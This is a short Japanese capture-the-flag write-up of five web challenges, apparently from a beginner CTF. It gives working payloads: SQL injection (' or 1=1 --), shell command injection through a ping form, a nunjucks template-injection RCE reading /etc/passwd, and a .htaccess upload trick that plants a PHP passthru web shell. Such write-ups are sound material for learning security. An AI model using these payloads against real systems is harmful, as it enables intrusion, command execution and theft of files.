[web] Be Alert
サイトにアクセスすると、アンドロイドがお出迎えしてくれる。
ソースを見ると<!--Something appears in /flag.html-->とあう。
GET /flag.htmlに行くとパスワードが必要と言われる。
ソースコードを見るとjavascriptでパスワードの判定っぽいものがあるので、それを参考に以下のようにパスワードを復元する。
let word = "rg`jsh`clhm"; let password = ""; for (let i=0; i<word.length;i++) { password += String.fromCharCode(word.charCodeAt(i) + 1); } console.log(password);
パスワードが出てくるので入力するとフラグが手に入る。
[web] L0g1n F4il3d
'をパスワードに入れてみるとエラーになる。
SQL Injectionを試せばよさそう。
いろいろやって' or 1=1 --を入れるとフラグが出てくる。
[web] ping-pong
pingコマンドが使えるサービス。
コマンドインジェクション感がすごいので、色々試す。
アドレスをgoogle.com | sleep 3とすると3秒ほどスリープがかかる。
google.com | idでidコマンドが動く。
OK。
./flag.txtがあるが普通にcatしても何故かうまくいかない。
base64コマンドを使ってみると動いた。
google.com | base64 flag.txtをして出力をbase64デコードするとフラグが手に入る。
[web] Hey h3ck3r!
適当にpayloadを試すと{{7*7}}で49になる。
X-Powered-By: Expressとあり、いろいろ試すとエラーからテンプレートエンジンがnunjucksであるとわかる。
適当にpayloadを探すと、以下でRCEできることがわかる。
https://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
lsするとflagというファイルが見えるので、cat flagとするとフラグが手に入る。
[web] S4F3 UPL04D
.htaccessのアップロードが可能なので、ブラックリスト入りされている拡張子以外のものでphpが使えるようにしてphpを動かす。
まず、.htaccessというファイル名で
AddType application/x-httpd-php .png
を用意してアップロードする。次にa.pngというファイル名で
<?php passthru($_GET["c"]);
を用意してアップロードする。
/uploads/a.png?c=idをするとidコマンドが実行できていることが確認できる。
色々探索するとcat /flagでフラグが見つかる。